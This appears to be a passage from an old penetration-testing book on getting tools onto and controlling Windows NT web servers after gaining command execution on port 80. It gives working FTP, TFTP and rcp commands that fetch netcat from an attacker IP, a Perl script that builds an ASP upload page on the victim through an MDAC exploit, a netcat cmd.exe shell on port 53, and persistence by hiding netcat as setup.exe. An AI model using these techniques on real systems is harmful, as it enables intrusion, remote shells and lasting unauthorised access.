Port 80 open and can execute

Port 80 open and can execute
Here's where things start to become more interesting. By "and can execute" I mean that you have some way of executing a command - be that via the Unicode exploit, an exploitable script, or MDAC. The easy way to get software on the host is to FTP it. Typically you will have the toolbox situated on your machine, and the host will FTP it from you. As such you will need an automated FTP script - you cannot open an FTP session directly as it is interactive and you probably do not have that functionality. To build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute multiple command by appending a "&" between commands. This script is very simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP reverse connections are not allowed into the network - NT has no support for passive FTP. It might also be that the machine is simply firewalled and it cannot make connections to the outside. A variation on it is TFTP - much easier. It uses UDP and it could be that the firewall allows UDP to travel within the network. The same it achieved by executing the following on the host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for certain exploits (remember when no one could figure out how to do redirects with Unicode?). There is yet another way of doing it - this time via rcp (yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts and rsh service running. Remote copy uses TCP, but there is no reverse connection to be worried about. Above two examples does not use any authentication - make sure you close your firewall and/or services after the attack!
In these examples one always assume that the host (victim) may establish some kind of connection to the attacker's machine. Yet, in some cases the host cannot do this - due to tight firewalling. Thus - the host cannot initiate a connection - the only allowed traffic is coming from outside (and only on selected ports). A tricky situation. Let us assume that we can only execute a command - via something like the MDAC exploit (thus via HTTP(s)). The only way to upload information is thus via HTTP. We can execute a command - we can write a file (with redirection). The idea is thus to write a page - an ASP/HTML page that will facilitate a file upload. This is easier said then done as most servers needs some server side components in order to achieve this. We need an ASP-only page, a page that does not need any server side components. Furthermore we sitting with the problem that most HTML/ASP pages contains characters that will "break" a file redirection - a ">" for instance. The command echo >> c:\inetpub\wwwroot\upload.htm wont work. Luckily there are some escape characters even in good old DOS. We need a script that will convert all potential "difficult" characters into their escaped version, and will then execute a "echo" command - appending it all together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while() {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >> c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by Scrippie/Phreak) takes two arguments - the first is the file that needs to be uploaded, the second the target/victim host's IP number. It makes use of another script - rfpnew.pl - a hack of the popular MDAC exploit by Rain Forrest Puppy with extra functionality to specify the port number and to pass the command to be executed as parameter. The convert script will create a file with the same filename as the one specified in c:\. It simply reads every line from the source file, converts all difficult characters and appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found on www.sensepost.com/book/rfpnew.pl. It don't list it here only because it rather large.The only part missing here is the actual file that is needed for uploading. After some searches on the Internet, I got hold of a .ASP & .INC file pair that neatly facilitates uploading to a server - without any server side components (credit to those that wrote it - I can not remember where I got it from). Once these two files are "built" (using above script) and transferred into the webroot, one can simply point ones browser to the correct URL and upload a toolbox via HTTP. The files upload.asp and upload.inc is to be found at www.sensepost.com/book/upload.asp and www.sensepost.com/book/upload.inc (I don't list them here because they are quite large). Be sure to move the uploaded files to the right spot - keep them in the same directory, and keep the filenames the same -upload.asp and upload.inc, unless you want to meddle with the ASP and INC files.
In a nutshell (for the script kids):
• get upload.asp, upload.inc and rfpnew.pl from the site.
• cut & paste the converter script to convert.pl and put it in the same directory
• perl convert upload.asp
• perl convert upload.inc
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.asp \upload.asp'
• perl rfpnew.pl -h -p 80 -C 'move c:\upload.inc \upload.inc.
• surf to http://target/upload.asp.
• upload your good stuff
• inhale/exhale
The next step would be to execute something on the host. With the uploader in place, the obvious choice would be to upload netcat, and to thus create a DOS shell. In an environment where the host/target is not tightly firewalled this is a good idea. Where the host/target only has port 80 (or 443) open it is not such a good choice. See netcat has to listen on a port and since the only port open is 80, we can't use it. Technically speaking we can "bump" off the server and have netcat listening there, but this would just cause the administrator to investigate (as the website is now down). Note to keen developer - build a netcat like tool that will recognize an HTTP request - pass it on to the server (listening on another port) and pass other stuff straight to cmd.exe. In a situation where we cannot use netcat, our "tool" needs to be command line driven, and needs to be able to either create files as output, or to output results to standard out - where it can be redirected to a file. These files could simply be created directly into the webroot - in this way the attacker can view her results in a webbrowser. One now begin to understand the merit of command line port scanners (for NT) and things like windump that does not need any registry changes or install shields.
If the host is not tightly firewalled the obvious choice is netcat. Some default installations of Firewall-1 allows TCP communication to port 53 - it does makes sense to have netcat listening on that port in such cases (do a portscan to make sure... duh):
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit)
perl rfpnew.pl -h -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet 53
Trying ...
Connected to .
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to execute command line commands. Netcat also helps in situations where one does not have the luxury of time - such as in the examples where you only have NetBIOS access. To ensure that you keep connectivity with the target you might want to execute a "netcat -L -p 53 -e cmd.exe" sitting in /winnt/system32/setup.exe as explained (you could execute it from a batch file and convert the batch file to an EXE). When the host reboots it will be listening on port 53 for incoming connections. All you need to do is to probe port 53 continuously.